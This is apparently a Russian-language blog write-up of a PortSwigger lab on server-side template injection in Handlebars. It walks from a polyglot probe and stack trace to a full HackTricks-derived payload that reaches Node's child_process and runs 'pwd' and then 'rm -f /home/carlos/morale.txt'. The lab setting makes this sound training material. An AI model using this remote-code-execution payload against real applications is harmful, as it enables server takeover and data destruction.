На странице
apsyleg1 мин
#portswigger #ssti #web-security

SSTI на неизвестном языке с задокументированным эксплойтом

Лаборатория

Server-side template injection in an unknown language with a documented exploit · Expert

Решение

Дано

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.

Анализ задания

Есть уязвимый к SSTI сайт. Нам нужно определить движок, найти публичную уязвимость и эксплуатировать её. Удалить файл morale.txt из домашней директории пользователя carlos.

Разведка

Потыкаем сайт в поисках пользовательского ввода и попробуем найти SSTI. Тыкаем на первый товар — и происходит странный редирект. Посмотрим в Burp подробнее.

GET /product?productId=1
→ 302 Location: /?message=Unfortunately this product is out of stock

Сервер принимает пользовательский ввод — сообщение об ошибке.

Попробуем проверить наличие SSTI. Закидываем запрос в Repeater и кидаем polyglot-payload:

GET /?message=${{<%[%'"}}%\

Ответ:

Internal Server Error
/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267
            throw new Error(str);
            ^

Error: Parse error on line 1:
${{<%[%'"}}%\
---^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
    at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19)
    at Parser.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:336:30)
    at HandlebarsEnvironment.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
    ...
Node.js v19.8.1

Точка входа найдена. Более того, мы знаем движок — Handlebars.

Почитаем про Handlebars. В доке вижу: можно чекнуть {{this}}.

Z{{this}} → Z[object Object]

Значит контекст Handlebars виден.

Эксплуатация

Идём смотреть PayloadsAllTheThings. Ничего полезного.

Тогда HackTricks. Находим payload. И сразу вместо whoami поставим pwd, чтобы получить текущую директорию:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('pwd');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Ответ:

e2[object Object]function Function() { [native code] }2[object Object]/home/carlos

Окей, тогда команда будет примерно так: rm -f /home/carlos/morale.txt.

Итоговый payload:

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('rm -f /home/carlos/morale.txt').toString();"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}

Ответ:

e2[object Object]function Function() { [native code] }2[object Object]

Файл удалился.

Лаба решена!